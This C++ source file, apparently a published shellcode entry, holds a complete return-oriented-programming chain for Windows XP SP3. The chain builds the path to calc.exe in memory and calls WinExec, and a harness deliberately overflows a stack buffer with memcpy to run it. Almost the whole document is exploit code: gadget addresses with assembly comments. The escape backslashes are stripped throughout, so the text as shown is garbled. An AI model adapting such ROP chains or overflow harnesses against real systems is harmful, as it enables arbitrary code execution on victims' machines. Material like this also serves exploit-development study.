/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:WINDOWSsystem32calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="xb1x4fx97x7c" // POP ECX # RETN"xf9x10x47x7e" // Writable PTR USER32.dll"x27xfax87x7c" // POP EDX # POP EAX # RETN"x43x3ax5cx57" // ASCII "C:W""x49x4ex44x4f" // ASCII "INDO""x04x18x80x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xe5x02x88x7c" // POP EAX # RETN"x57x53x5cx73" // ASCII "WSs""x38xd6x46x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xe5x02x88x7c" // POP EAX # RETN"x79x73x74x65" // ASCII "yste""xcbxbex45x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xe5x02x88x7c" // POP EAX # RETN"x63x61x6cx63" // ASCII "calc""x31xa9x91x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"xe5x02x88x7c" // POP EAX # RETN"x6dx33x32x5c" // ASCII "m32""xcbxbex45x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xe5x02x88x7c" // POP EAX # RETN"x2ex65x78x65" // ASCII ".exe""x31xa9x91x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"x9ex2ex92x7c" // XOR EAX,EAX # RETN"x31xa9x91x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN"xeex4cx97x7c" // DEC ECX # RETN//-------------------------------------------["C:WINDOWSsystem32calc.exe+00000000" -> ecx]-//"xe5x02x88x7c" // POP EAX # RETN"x7axebxc3x6f" // Should result in a valid PTR in kernel32.dll"x4fxdax85x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x32xd9x44x7e" // XCHG EAX,EDI # RETN"x62x28x97x7c" // ADD EAX,20 # POP EBP # RETN"x8ax20x87x7c" // Compensate POP"x62x28x97x7c" // ADD EAX,20 # POP EBP # RETN"x8ax20x87x7c" // Compensate POP"x62x28x97x7c" // ADD EAX,20 # POP EBP # RETN"x8ax20x87x7c" // Compensate POP"x62x28x97x7c" // ADD EAX,20 # POP EBP # RETN"x8ax20x87x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"xd6xd1x95x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x33x80x97x7c" // INC EAX # RETN"x33x80x97x7c" // INC EAX # RETN"x33x80x97x7c" // INC EAX # RETN"x33x80x97x7c" // INC EAX # RETN"xf5xd6x91x7c" // XOR ECX,ECX # RETN"x07x3dx96x7c" // INC ECX # RETN"xd6xd1x95x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"xb1x4fx97x7c" // POP ECX # RETN"xedx2ax86x7c" // WinExec()"xe7xc1x87x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"x8ax20x87x7c" // Compensate POP"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Compensate RETN"x8ax20x87x7c" // Final RETN for WinExec()"x8ax20x87x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}